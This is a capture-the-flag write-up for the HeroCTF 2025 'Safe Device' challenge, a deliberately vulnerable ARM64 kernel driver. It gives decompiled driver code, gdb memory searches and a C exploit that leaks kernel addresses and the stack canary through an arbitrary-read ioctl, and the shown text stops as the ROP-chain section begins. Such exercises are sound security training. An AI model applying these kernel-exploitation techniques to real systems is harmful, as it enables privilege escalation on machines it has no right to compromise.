Post

Safe Device, HeroCTF 2025

Safe Device, HeroCTF 2025

I have done this challenge with LeG.

TL;DR

This challenge is about a kernel module on the ARM 64-bit architecture. The kernel driver’s ioctl provides two commands:

  • An arbitrary read primitive
  • The creation of a ROP

With the arbitrary read, we can leak the KASLR and the canary, and then create a ROP chain to overwrite modprobe_path.

Handout

I develop a secure driver with a secure recompiled kernel 😈 but I don’t share all my secrets to make it harden …

Author: Itarow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ tree safe_device_players
safe_device_players
├── docker-compose.yml
├── Dockerfile
├── gen_dist_zip.sh
├── images
│   ├── Image
│   ├── rootfs.ext4
│   └── start-qemu.sh
└── k.ko

2 directories, 7 files
$ cat safe_device_players/images/start-qemu.sh 
#!/bin/sh
exec qemu-system-aarch64 -M virt -cpu cortex-a53 -nographic -monitor /dev/null -smp 1 -kernel Image -append "rootwait quiet root=/dev/vda console=ttyAMA0" -netdev user,id=eth0,hostfwd=tcp::2222-:22,hostfwd=tcp::1337-:1337 -device virtio-net-device,netdev=eth0 -drive file=rootfs.ext4,if=none,format=raw,id=hd0 -device virtio-blk-device,drive=hd0  ${EXTRA_ARGS} "$@"

We can see that we are given a kernel module k.ko that will be loaded in an ARM 64 bits QEMU virtual machine.

I will not explain all the files provided, as other write-ups already do it well. You can have a look at this one for example. We built the exploit in a root namespace in order to have more permissions.

Analysis of the kernel’s protections

To do so, we will use the kchecksec command from bata24 gef:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
------------------------------------------------------- Kernel information -------------------------------------------------------
Kernel version                          : 6.17.7
Kernel cmdline                          : rootwait quiet root=/dev/vda console=ttyAMA0
Kernel base (heuristic)                 : 0xffffc39dbe410000
Kernel base (_stext from kallsyms)      : 0xffffc39dbe410000
-------------------------------------------------------- Register settings --------------------------------------------------------
PXN                                     : Enabled (all ARMv8~ is supported)
PAN (ID_AA64MMFR1_EL1 bit 23-20)        : Disabled
--------------------------------------------------------- Memory settings ---------------------------------------------------------
CONFIG_RANDOMIZE_BASE (KASLR)           : Enabled (`kaslr_*`: Found, nokaslr is not in cmdline)
CONFIG_MITIGATION_PAGE_TABLE_ISOLATION (KPTI): Unsupported (pti_init: Not found)
RWX kernel page                         : Not found
Secure world                            : Not found
------------------------------------------------------------ Allocator ------------------------------------------------------------
Allocator                               : SLUB
CONFIG_SLAB_FREELIST_HARDENED           : Disabled
CONFIG_SLAB_VIRTUAL                     : Disabled (slub_tlbflush_worker: Not found)
--------------------------------------------------------- Security Module ---------------------------------------------------------
SELinux                                 : Unsupported (selinux_init: Not found)
SMACK                                   : Unsupported (smack_init: Not found)
AppArmor                                : Unsupported (apparmor_init: Not found)
TOMOYO                                  : Unsupported (tomoyo_init: Not found)
Yama (ptrace_scope)                     : Unsupported (yama_init: Not found)
Integrity (IMA/EVM)                     : Unsupported (integrity_iintcache_init: Not found)
LoadPin                                 : Unsupported (loadpin_init: Not found)
SafeSetID                               : Unsupported (safesetid_security_init: Not found)
Lockdown                                : Unsupported (lockdown_lsm_init: Not found)
BPF                                     : Unsupported (bpf_lsm_init: Not found)
Landlock                                : Unsupported (landlock_init: Not found)
Linux Kernel Runtime Guard (LKRG)       : Disabled (Not loaded)
------------------------------------------------------ Dangerous system call ------------------------------------------------------
vm.unprivileged_userfaultfd             : Unknown (vm.unprivileged_userfaultfd: Not found)
kernel.unprivileged_bpf_disabled        : Unknown (kernel.unprivileged_bpf_disabled: Not found)
kernel.kexec_load_disabled              : Unknown (kernel.kexec_load_disabled: Not found)
----------------------------------------------------------- namespaces -----------------------------------------------------------
user.max_user_namespaces                : Unknown (user.max_user_namespaces: Not found)
user.max_pid_namespaces                 : Unknown (user.max_pid_namespaces: Not found)
user.max_uts_namespaces                 : Unknown (user.max_uts_namespaces: Not found)
user.max_ipc_namespaces                 : Unknown (user.max_ipc_namespaces: Not found)
user.max_net_namespaces                 : Unknown (user.max_net_namespaces: Not found)
user.max_mnt_namespaces                 : Unknown (user.max_mnt_namespaces: Not found)
user.max_cgroup_namespaces              : Unknown (user.max_cgroup_namespaces: Not found)
user.max_time_namespaces                : Unknown (user.max_time_namespaces: Not found)
kernel.unprivileged_userns_clone        : Unknown (kernel.unprivileged_userns_clone: Not found, Only present in debian-based environments)
kernel.userns_restrict                  : Unknown (kernel.userns_restrict: Not found, Only present in ALT-linux-based environments)
-------------------------------------------------------------- Other --------------------------------------------------------------
CONFIG_KALLSYMS_ALL                     : Disabled (modprobe_path: Not found)
CONFIG_IKCONFIG                         : Disabled (ikconfig_init: Not found)
CONFIG_DEBUG_INFO_BTF                   : Disabled (__start_BTF: Not found)
CONFIG_RANDSTRUCT                       : Enabled (ksysctl was failed)
CONFIG_STATIC_USERMODEHELPER            : Disabled (call_usermodehelper_setup uses dynamic path)
CONFIG_STACKPROTECTOR                   : Unknown (ktask was failed)
CONFIG_SHADOW_CALL_STACK (Clang ARM64)  : Disabled (scs_alloc: Not found)
CONFIG_HARDENED_USERCOPY                : Disabled (__check_heap_object: Not found)
CONFIG_FUSE_FS                          : Enabled (fuse_do_open: Found)
KADR (kallsyms)                         : Enabled (kernel.kptr_restrict: 0, kernel.perf_event_paranoid: 2)
KADR (dmesg)                            : Unknown (kernel.dmesg_restrict: Not found)
vm.mmap_min_addr                        : Unknown (vm.mmap_min_addr: Not found)
Supported system call                   : arm64, arm32(compat)

We can see here that KASLR is enabled (kernel base is randomized at each boot), and PXN is enabled (so we cannot execute code from userland while in kernel mode).

Analysis of the kernel module

This driver implements 7 functions:

  • init_module and cleanup_module to initialize and clean up the module
  • safe_class_devnote (used in init_module)
  • safe_open and safe_release to open and close the device
  • safe_ioctl to handle the ioctl commands
  • safe_log (used in safe_ioctl) to log messages

In this write-up, we will focus on two of these functions: safe_ioctl and safe_log.

The safe_log function

This function is pretty straightforward: it takes a string, copies it into a local buffer using memcpy, and then logs it with printk.

ida_safe_log

There is an obvious buffer overflow here since memcpy copies 0x400 bytes into a local buffer of size 64. But what are those _ReadStatusReg and ARM64_SYSREG functions ?

By looking on the internet, we can find some explanations. ARM64_SYSREG is defined as follows:

1
2
3
4
5
6
#define ARM64_SYSREG(op0, op1, crn, crm, op2) \
        ( ((op0 & 1) << 14) | \
          ((op1 & 7) << 11) | \
          ((crn & 15) << 7) | \
          ((crm & 15) << 3) | \
          ((op2 & 7) << 0) )

Therefore, the register is encoded as an integer value. The _ReadStatusReg function can read the corresponding system register, and the _WriteStatusReg can write to it. I have also found this write-up that explains that ARM64_SYSREG(3, 0, 4, 1, 0) corresponds to SP_ELO, which is used as the canary. It also gives us this IDA plugin, which will show us the system registers in IDA.

ida_plugin

We can start to see how to exploit this driver: we will have to bypass the stack canary and KASLR, and then perform a ROP.

The safe_ioctl function

This function seems a bit complex with a lot of _ReadStatusReg and _WriteStatusReg calls.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
__int64 __fastcall safe_ioctl(__int64 a1, int method, unsigned __int64 param3)
{
  __int64 result; // x0
  unsigned __int64 SP_ELO_; // x20
  unsigned __int64 v7; // x8
  unsigned __int64 v8; // x8
  unsigned __int64 v14; // x9
  size_t v15; // x2
  unsigned __int64 v16; // x8
  unsigned __int64 v18; // x9
  __int64 send_to_user; // x1
  unsigned __int64 v20; // x8
  unsigned __int64 v21; // x8
  unsigned __int64 v23; // x9
  unsigned __int64 v24; // x8
  unsigned __int64 v26; // x9
  void *v27; // x0
  unsigned __int64 SP_ELO; // x8
  unsigned __int64 v29; // x9
  unsigned __int64 DAIF; // x9
  unsigned __int64 v32; // x8
  unsigned __int64 DAIF_; // x8
  unsigned __int64 TTBR1_EL1; // x9
  _BYTE *v36; // x0
  __int64 send_to_user_origin; // [xsp+0h] [xbp-410h] BYREF
  _BYTE s[1024]; // [xsp+8h] [xbp-408h] BYREF
  __int64 v39; // [xsp+408h] [xbp-8h]

  v39 = *(_QWORD *)(_ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0)) + 632);// Canary
  memset(s, 0, sizeof(s));
  send_to_user_origin = 0LL;
  if ( method != 0x80086B02 )
  {
    if ( method != 0x40086B03 )
    {
      result = -25LL;
      goto LABEL_4;
    }
    printk(&IOCTL_SET_MSG);                     // IOCTL_SET_MSG
    SP_ELO = _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0));
    if ( (*(_BYTE *)(SP_ELO + 3274) & 0x20) != 0 || (v29 = param3, (*(_QWORD *)SP_ELO & 0x4000000) != 0) )
      v29 = param3 & ((__int64)(param3 << 8) >> 8);
    if ( v29 > 0xFFFFFFFFFFC00LL )
    {
      v15 = 1024LL;
    }
    else
    {
      DAIF = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));
      __asm { MSR             DAIFSet, #3 }
      v32 = *(_QWORD *)(SP_ELO + 8);
      _WriteStatusReg(
        ARM64_SYSREG(3, 0, 2, 0, 1),
        v32 & 0xFFFF000000000000LL | _ReadStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1)) & 0xFFFFFFFFFFFFLL);
      _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 0), v32);
      __isb(0xFu);
      _WriteStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1), DAIF);
      v15 = _arch_copy_from_user(s, param3 & 0xFF7FFFFFFFFFFFFFLL, 1024LL);
      DAIF_ = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));
      __asm { MSR             DAIFSet, #3 }
      TTBR1_EL1 = _ReadStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1)) & 0xFFFFFFFFFFFFLL;
      _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 0), TTBR1_EL1 - 4096);
      _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1), TTBR1_EL1);
      __isb(0xFu);
      _WriteStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1), DAIF_);
      if ( !v15 )
      {
        safe_log(s);
        result = 0LL;
        goto LABEL_4;
      }
    }
    v36 = &s[-v15 + 1024];
    goto LABEL_26;
  }
  printk(&unk_8C0);                             // IOCTL_GET_MSG
  SP_ELO_ = _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0));
  if ( (*(_BYTE *)(SP_ELO_ + 3274) & 0x20) != 0 || (v7 = param3, (*(_QWORD *)SP_ELO_ & 0x4000000) != 0) )
    v7 = param3 & ((__int64)(param3 << 8) >> 8);
  if ( v7 > 0xFFFFFFFFFFFF8LL )
  {
    v15 = 8LL;
    goto LABEL_23;
  }
  v8 = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));
  __asm { MSR             DAIFSet, #3 }
  v14 = *(_QWORD *)(SP_ELO_ + 8);
  _WriteStatusReg(
    ARM64_SYSREG(3, 0, 2, 0, 1),
    v14 & 0xFFFF000000000000LL | _ReadStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1)) & 0xFFFFFFFFFFFFLL);
  _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 0), v14);
  __isb(0xFu);
  _WriteStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1), v8);
  v15 = _arch_copy_from_user(&send_to_user_origin, param3 & 0xFF7FFFFFFFFFFFFFLL, 8LL);
  v16 = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));
  __asm { MSR             DAIFSet, #3 }
  v18 = _ReadStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1)) & 0xFFFFFFFFFFFFLL;
  _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 0), v18 - 4096);
  _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1), v18);
  __isb(0xFu);
  _WriteStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1), v16);
  if ( v15 )
  {
LABEL_23:
    v36 = &s[-v15];
LABEL_26:
    memset(v36, 0, v15);
    v27 = &unk_86D;
    goto LABEL_27;
  }
  send_to_user = send_to_user_origin;
  if ( (*(_BYTE *)(SP_ELO_ + 3274) & 0x20) != 0 || (v20 = param3, (*(_QWORD *)SP_ELO_ & 0x4000000) != 0) )
    v20 = param3 & ((__int64)(param3 << 8) >> 8);
  if ( v20 > 0xFFFFFFFFFFFF8LL )
    goto LABEL_15;
  v21 = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));
  __asm { MSR             DAIFSet, #3 }
  v23 = *(_QWORD *)(SP_ELO_ + 8);
  _WriteStatusReg(
    ARM64_SYSREG(3, 0, 2, 0, 1),
    v23 & 0xFFFF000000000000LL | _ReadStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1)) & 0xFFFFFFFFFFFFLL);
  _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 0), v23);
  __isb(0xFu);
  _WriteStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1), v21);
  result = _arch_copy_to_user(param3 & 0xFF7FFFFFFFFFFFFFLL, send_to_user, 8LL);
  v24 = _ReadStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1));
  __asm { MSR             DAIFSet, #3 }
  v26 = _ReadStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1)) & 0xFFFFFFFFFFFFLL;
  _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 0), v26 - 4096);
  _WriteStatusReg(ARM64_SYSREG(3, 0, 2, 0, 1), v26);
  __isb(0xFu);
  _WriteStatusReg(ARM64_SYSREG(3, 3, 4, 2, 1), v24);
  if ( result )
  {
LABEL_15:
    v27 = &unk_933;
LABEL_27:
    printk(v27);
    result = -14LL;
  }
LABEL_4:
  _ReadStatusReg(ARM64_SYSREG(3, 0, 4, 1, 0));
  return result;
}

We see again that the canary is read at the beginning of the function and then checked at the end. By the pattern of the code, and by looking at the strings printed, we can deduce that there are two ioctl commands implemented:

  • 0x80086B02 (IOCTL_GET_MSG): which allows us to read 8 bytes from an arbitrary address. It uses _arch_copy_from_user to retrieve the address from the user, and then _arch_copy_to_user to send back the 8 bytes read at this address.
  • 0x40086B03 (IOCTL_SET_MSG): which allows us to trigger safe_log with a user-controlled buffer.

The exploit

We now clearly see the exploit pattern:

  • use IOCTL_GET_MSG to leak the canary and the KASLR
  • use IOCTL_SET_MSG to overflow the stack and create a ROP chain (to do for example a classic ret2user)

Leaking the KASLR

To do so, we need to find some addresses in the kernel that do not change with KASLR and that point to KASLR-relative addresses. After that, we can substract the known offset to get the KASLR base.

We have two options here:

  • Reading some documentation about the kernel memory layout, to find the location of those pointers that do not change with KASLR
  • Using the powerful gdb search-pattern command to find some addresses directly

Of course, it’s a no brainer:

meme-search-pattern

Let’s have a look at the memory map with kvmmap and at the kernel base address with kbase:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
Virtual address start-end             Total size         Perm  Hint
00ffff000000000000-00ffff000000200000 000000000000200000 [rw-] physmap
00ffff000000200000-00ffff000000cb0000 000000000000ab0000 [r--] physmap
00ffff000000cb0000-00ffff000001107000 000000000000457000 [rw-] physmap
00ffff000001107000-00ffff000001108000 000000000000001000 [r--] physmap
00ffff000001108000-00ffff000001baa000 000000000000aa2000 [rw-] physmap
00ffff000001baa000-00ffff000001bab000 000000000000001000 [r--] physmap
00ffff000001bab000-00ffff000001bdc000 000000000000031000 [rw-] physmap
00ffff000001bdc000-00ffff000001bdd000 000000000000001000 [r--] physmap
00ffff000001bdd000-00ffff000008000000 000000000006423000 [rw-] physmap
00ffff800080000000-00ffff800080004000 000000000000004000 [rw-] vmalloc
00ffff800080005000-00ffff800080006000 000000000000001000 [rw-] vmalloc
00ffff800080008000-00ffff80008000c000 000000000000004000 [rw-] vmalloc
00ffff80008000d000-00ffff80008000e000 000000000000001000 [r--] vmalloc
00ffff800080010000-00ffff800080020000 000000000000010000 [rw-] vmalloc
00ffff800080021000-00ffff800080022000 000000000000001000 [rw-] vmalloc
00ffff800080023000-00ffff800080024000 000000000000001000 [rw-] vmalloc
00ffff800080025000-00ffff800080026000 000000000000001000 [rw-] vmalloc
00ffff800080028000-00ffff80008002c000 000000000000004000 [rw-] vmalloc
00ffff800080030000-00ffff800080040000 000000000000010000 [rw-] vmalloc
00ffff800080045000-00ffff800080046000 000000000000001000 [rw-] vmalloc
00ffff800080048000-00ffff80008004c000 000000000000004000 [rw-] vmalloc
00ffff800080050000-00ffff800080054000 000000000000004000 [rw-] vmalloc
00ffff800080058000-00ffff80008005c000 000000000000004000 [rw-] vmalloc
00ffff800080060000-00ffff800080064000 000000000000004000 [rw-] vmalloc
00ffff800080068000-00ffff80008006c000 000000000000004000 [rw-] vmalloc
00ffff800080070000-00ffff800080074000 000000000000004000 [rw-] vmalloc
00ffff800080078000-00ffff80008007c000 000000000000004000 [rw-] vmalloc
00ffff800080080000-00ffff800080084000 000000000000004000 [rw-] vmalloc
00ffff800080088000-00ffff80008008c000 000000000000004000 [rw-] vmalloc
00ffff800080090000-00ffff800080094000 000000000000004000 [rw-] vmalloc
00ffff800080098000-00ffff80008009c000 000000000000004000 [rw-] vmalloc
00ffff8000800a0000-00ffff8000800a4000 000000000000004000 [rw-] vmalloc
00ffff8000800a8000-00ffff8000800ac000 000000000000004000 [rw-] vmalloc
00ffff8000800b0000-00ffff8000800b4000 000000000000004000 [rw-] vmalloc
00ffff8000800b8000-00ffff8000800bc000 000000000000004000 [rw-] vmalloc
00ffff8000800c0000-00ffff8000800c4000 000000000000004000 [rw-] vmalloc
00ffff8000800c8000-00ffff8000800cc000 000000000000004000 [rw-] vmalloc
00ffff8000800d0000-00ffff8000800d4000 000000000000004000 [rw-] vmalloc
00ffff8000800d8000-00ffff8000800dc000 000000000000004000 [rw-] vmalloc
00ffff8000800dd000-00ffff8000800fd000 000000000000020000 [rw-] vmalloc
00ffff8000800fe000-00ffff80008011e000 000000000000020000 [rw-] vmalloc
00ffff80008011f000-00ffff80008013f000 000000000000020000 [rw-] vmalloc
00ffff800080140000-00ffff800080144000 000000000000004000 [rw-] vmalloc
00ffff800080148000-00ffff80008014c000 000000000000004000 [rw-] vmalloc
00ffff800080150000-00ffff800080154000 000000000000004000 [rw-] vmalloc
00ffff800080158000-00ffff80008015c000 000000000000004000 [rw-] vmalloc
00ffff800080160000-00ffff800080164000 000000000000004000 [rw-] vmalloc
00ffff800080168000-00ffff80008016c000 000000000000004000 [rw-] vmalloc
00ffff800080170000-00ffff800080174000 000000000000004000 [rw-] vmalloc
00ffff800080178000-00ffff80008017c000 000000000000004000 [rw-] vmalloc
00ffff800080180000-00ffff800080184000 000000000000004000 [rw-] vmalloc
00ffff800080188000-00ffff80008018c000 000000000000004000 [rw-] vmalloc
00ffff800080193000-00ffff800080194000 000000000000001000 [rw-] vmalloc
00ffff800080195000-00ffff800080196000 000000000000001000 [rw-] vmalloc
00ffff8000801a0000-00ffff8000801a1000 000000000000001000 [rw-] vmalloc
00ffff8000801a2000-00ffff8000801a3000 000000000000001000 [rw-] vmalloc
00ffff8000801a4000-00ffff8000801a7000 000000000000003000 [rw-] vmalloc
00ffff8000801a8000-00ffff8000801ac000 000000000000004000 [rw-] vmalloc
00ffff8000801b0000-00ffff8000801b4000 000000000000004000 [rw-] vmalloc
00ffff8000801b8000-00ffff8000801bc000 000000000000004000 [rw-] vmalloc
00ffff8000801c0000-00ffff8000801c4000 000000000000004000 [rw-] vmalloc
00ffff8000801c8000-00ffff8000801cc000 000000000000004000 [rw-] vmalloc
00ffff8000801e8000-00ffff8000801ec000 000000000000004000 [rw-] vmalloc
00ffff800080208000-00ffff80008020c000 000000000000004000 [rw-] vmalloc
00ffff800080218000-00ffff80008021c000 000000000000004000 [rw-] vmalloc
00ffff800080220000-00ffff800080224000 000000000000004000 [rw-] vmalloc
00ffff800080228000-00ffff80008022c000 000000000000004000 [rw-] vmalloc
00ffff800080230000-00ffff800080234000 000000000000004000 [rw-] vmalloc
00ffff800090000000-00ffff8000a0000000 000000000010000000 [rw-] vmalloc
00ffffbc4308c86000-00ffffbc4308c87000 000000000000001000 [r-x] vmalloc
00ffffbc4308c88000-00ffffbc4308c89000 000000000000001000 [rw-] vmalloc
00ffffbc4308c8a000-00ffffbc4308c8b000 000000000000001000 [r--] vmalloc
00ffffbc4374000000-00ffffbc4374010000 000000000000010000 [r--] vmalloc
00ffffbc4374010000-00ffffbc4374890000 000000000000880000 [r-x] vmalloc, kernel .text
00ffffbc4374890000-00ffffbc4374ab0000 000000000000220000 [r--] vmalloc, maybe kernel .rodata
00ffffbc4374c80000-00ffffbc4374e00000 000000000000180000 [rw-] vmalloc, maybe kernel .data
00fffffdffc0000000-00fffffdffc0200000 000000000000200000 [rw-] vmemmap(=page[])
00ffffffffc0800000-00ffffffffc0810000 000000000000010000 [rw-] pci
00ffffffffff5f8000-00ffffffffff5fb000 000000000000003000 [r-x]
00ffffffffff5fb000-00ffffffffff5fc000 000000000000001000 [r--]
00ffffffffff5fe000-00ffffffffff6fe000 000000000000100000 [r--]
gef> kbase
[+] Wait for memory scan
kernel text:   0xffffbc4374010000-0xffffbc4374890000 (0x880000 bytes)
kernel rodata: 0xffffbc4374890000-0xffffbc4374ab0000 (0x220000 bytes)
kernel data:   0xffffbc4374c80000-0xffffbc4374e00000 (0x180000 bytes)

We can see here that the kernel text base is at 0xffffbc4374010000, let’s try to find an address that points into this range.

Time to use the secret gdb command search-pattern:

1
2
3
4
5
6
7
8
9
gef> search-pattern 0xffffbc437401 0x00ffff000000000000-0x00ffff8000a0000000
[+] Searching for '\x01\x74\x43\xbc\xff\xff' in 0xffff000000000000-0xffff8000a0000000
  0xffff000000a9013a:    01 74 43 bc ff ff 00 00  00 00 00 00 00 00 00 00    |  .tC.............  |
  0xffff000000a90172:    01 74 43 bc ff ff 10 00  00 00 c8 00 00 00 c8 00    |  .tC.............  |
  0xffff000000a95b52:    01 74 43 bc ff ff 00 04  18 00 10 04 00 07 00 01    |  .tC.............  |
  0xffff000000a95b9a:    01 74 43 bc ff ff 00 04  18 00 20 04 01 0f 00 00    |  .tC....... .....  |
  [...]
gef> x /gx 0xffff000000a90138
0xffff000000a90138:	0xffffbc437401e4e8

We found multiple addresses that point into the kernel text segment. During the ctf, we actually used 0xffff000007f9b340, as it was in one of the registers when we broke into gdb. But as long as it points into the kernel text segment, it’s fine. We now have to subtract the offset to get the KASLR base, in our case it’s 0xded98, and we have leaked the KASLR! Let’s build our first script to see if it works correctly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <errno.h>

int global_fd;

#define IOCTL_GET_MSG 0x80086B02
#define IOCTL_SET_MSG 0x40086B03

void open_device()
{
    global_fd = open("/dev/safe_device", O_RDWR);
    if (global_fd < 0) {
        printf("Failed to open device\n");
    }
    else {
        printf("Device opened successfully\n");
    }
}


void close_device()
{
    if (global_fd >= 0) {
        close(global_fd);
        global_fd = -1;
        printf("Device closed successfully\n");
    }

}

void call_ioctl(int arg1, char *arg2)
{
    int ret = ioctl(global_fd, arg1, arg2);
    if (ret < 0) {
        printf("IOCTL call failed: ret=%d errno=%d\n", ret, errno);
        perror("ioctl");
    } else {
        printf("IOCTL call succeeded: ret=%d\n", ret);
    }
}


long unsigned int leak_kaslr()
{
    long unsigned int place_to_leak = 0xffff000007f9b340;
    long unsigned int offset = 0xded98;
    call_ioctl(IOCTL_GET_MSG, &place_to_leak);
    printf("Leaked value: %lx\n", place_to_leak);
    long unsigned int kernel_text_base = place_to_leak - offset;
    printf("Kernel text base: %lx\n", kernel_text_base);
    return kernel_text_base;
}


int main()
{
    open_device();
    long unsigned int kernel_base = leak_kaslr();
    close_device();
    return 0;
}

Which gives us:

1
2
3
4
5
Device opened successfully
IOCTL call succeeded: ret=0
Leaked value: ffffbc43740eed98
Kernel text base: ffffbc4374010000
Device closed successfully

Which seems correct as the kbase we obtained was 0xffffbc4374010000 in gdb.

Leaking the canary

You already know how we are going to do it:

meme_imagination

Let’s first locate our function in order to find the canary value:

1
2
$ cat /proc/kallsyms | grep safe_ioctl
ffffbc4308c86270 t safe_ioctl	[k]

Let’s have a look in IDA to locate where the canary is stored:

save_canary

It’s located in x8 after this instruction, so let’s go in gdb and set a breakpoint here to see what the canary value is. With that method, we found that the canary is equal to 0x9f251d16cd4fc700. Time for another search-pattern:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
gef> search-pattern 0x9f251d16cd4fc700
[+] Searching for '\x00\xc7\x4f\xcd\x16\x1d\x25\x9f' in whole memory
[+] In 0xffff000000cb0000-0xffff000001107000 [rw-] (0x457000 bytes)
  0xffff000001017ec8:    00 c7 4f cd 16 1d 25 9f  10 3f 00 80 00 80 ff ff    |  ..O...%..?......  |
[+] In 0xffff000001108000-0xffff000001baa000 [rw-] (0xaa2000 bytes)
  0xffff000001a5e278:    00 c7 4f cd 16 1d 25 9f  00 00 00 00 00 00 00 00    |  ..O...%.........  |
  0xffff000001b64958:    00 c7 4f cd 16 1d 25 9f  e0 b9 1d 80 00 80 ff ff    |  ..O...%.........  |
  0xffff000001b649d8:    00 c7 4f cd 16 1d 25 9f  20 ba 1d 80 00 80 ff ff    |  ..O...%. .......  |
  0xffff000001b64ab8:    00 c7 4f cd 16 1d 25 9f  20 bb 1d 80 00 80 ff ff    |  ..O...%. .......  |
  0xffff000001b64ad8:    00 c7 4f cd 16 1d 25 9f  40 bb 1d 80 00 80 ff ff    |  ..O...%.@.......  |
  0xffff000001b64b58:    00 c7 4f cd 16 1d 25 9f  a0 bb 1d 80 00 80 ff ff    |  ..O...%.........  |
  0xffff000001b64b98:    00 c7 4f cd 16 1d 25 9f  20 bc 1d 80 00 80 ff ff    |  ..O...%. .......  |
  0xffff000001b64d88:    00 c7 4f cd 16 1d 25 9f  e0 bd 1d 80 00 80 ff ff    |  ..O...%.........  |
  0xffff000001b64da8:    00 c7 4f cd 16 1d 25 9f  e0 bd 1d 80 00 80 ff ff    |  ..O...%.........  |
[+] In 0xffff800080000000-0xffff800080004000 [rw-] (0x4000 bytes)
  0xffff800080003ec8:    00 c7 4f cd 16 1d 25 9f  10 3f 00 80 00 80 ff ff    |  ..O...%..?......  |
[+] In 0xffff8000801db000-0xffff8000801dc000 [rw-] (0x1000 bytes)
  0xffff8000801db958:    00 c7 4f cd 16 1d 25 9f  e0 b9 1d 80 00 80 ff ff    |  ..O...%.........  |
  0xffff8000801db9d8:    00 c7 4f cd 16 1d 25 9f  20 ba 1d 80 00 80 ff ff    |  ..O...%. .......  |
  0xffff8000801dbab8:    00 c7 4f cd 16 1d 25 9f  20 bb 1d 80 00 80 ff ff    |  ..O...%. .......  |
  0xffff8000801dbad8:    00 c7 4f cd 16 1d 25 9f  40 bb 1d 80 00 80 ff ff    |  ..O...%.@.......  |
  0xffff8000801dbb58:    00 c7 4f cd 16 1d 25 9f  a0 bb 1d 80 00 80 ff ff    |  ..O...%.........  |
  0xffff8000801dbb98:    00 c7 4f cd 16 1d 25 9f  20 bc 1d 80 00 80 ff ff    |  ..O...%. .......  |
  0xffff8000801dbd88:    00 c7 4f cd 16 1d 25 9f  e0 bd 1d 80 00 80 ff ff    |  ..O...%.........  |
  0xffff8000801dbda8:    00 c7 4f cd 16 1d 25 9f  e0 bd 1d 80 00 80 ff ff    |  ..O...%.........  |
[+] 0xffff800090000000-0xffff8000a0000000 is skipped due to size (0x10000000) >= MAX_REGION_SIZE (0x10000000)

Let’s now take the first address 0xffff000001017ec8 and modify our exploit script to leak the canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
long unsigned int leak_canary()
{
    long unsigned int place_to_leak = 0xffff000001017ec8;
    call_ioctl(IOCTL_GET_MSG, &place_to_leak);
    printf("Leaked canary: %lx\n", place_to_leak);
    return place_to_leak;
}


int main()
{
    open_device();
    long unsigned int kernel_base = leak_kaslr();
    long unsigned int canary = leak_canary();
    close_device();
    return 0;
}

Which gives us (on another instance):

1
2
3
4
5
6
7
Device opened successfully
IOCTL call succeeded: ret=0
Leaked value: ffffc39dbe4eed98
Kernel text base: ffffc39dbe410000
IOCTL call succeeded: ret=0
Leaked canary: 5ae088ce99c8ee00
Device closed successfully

This seems perfect, as the canary is still terminated by 00, which is normal for a stack canary.

Time to ROP!

The ROP

At this point during the CTF, we thought the challenge was not that difficult and that we just needed to do a classic ret2user ROP chain. However, we underestimated the difficulty of building a ROP chain on ARM64.

meme_arm_rop

Original plan: commit_creds(prepare_kernel_cred(0))

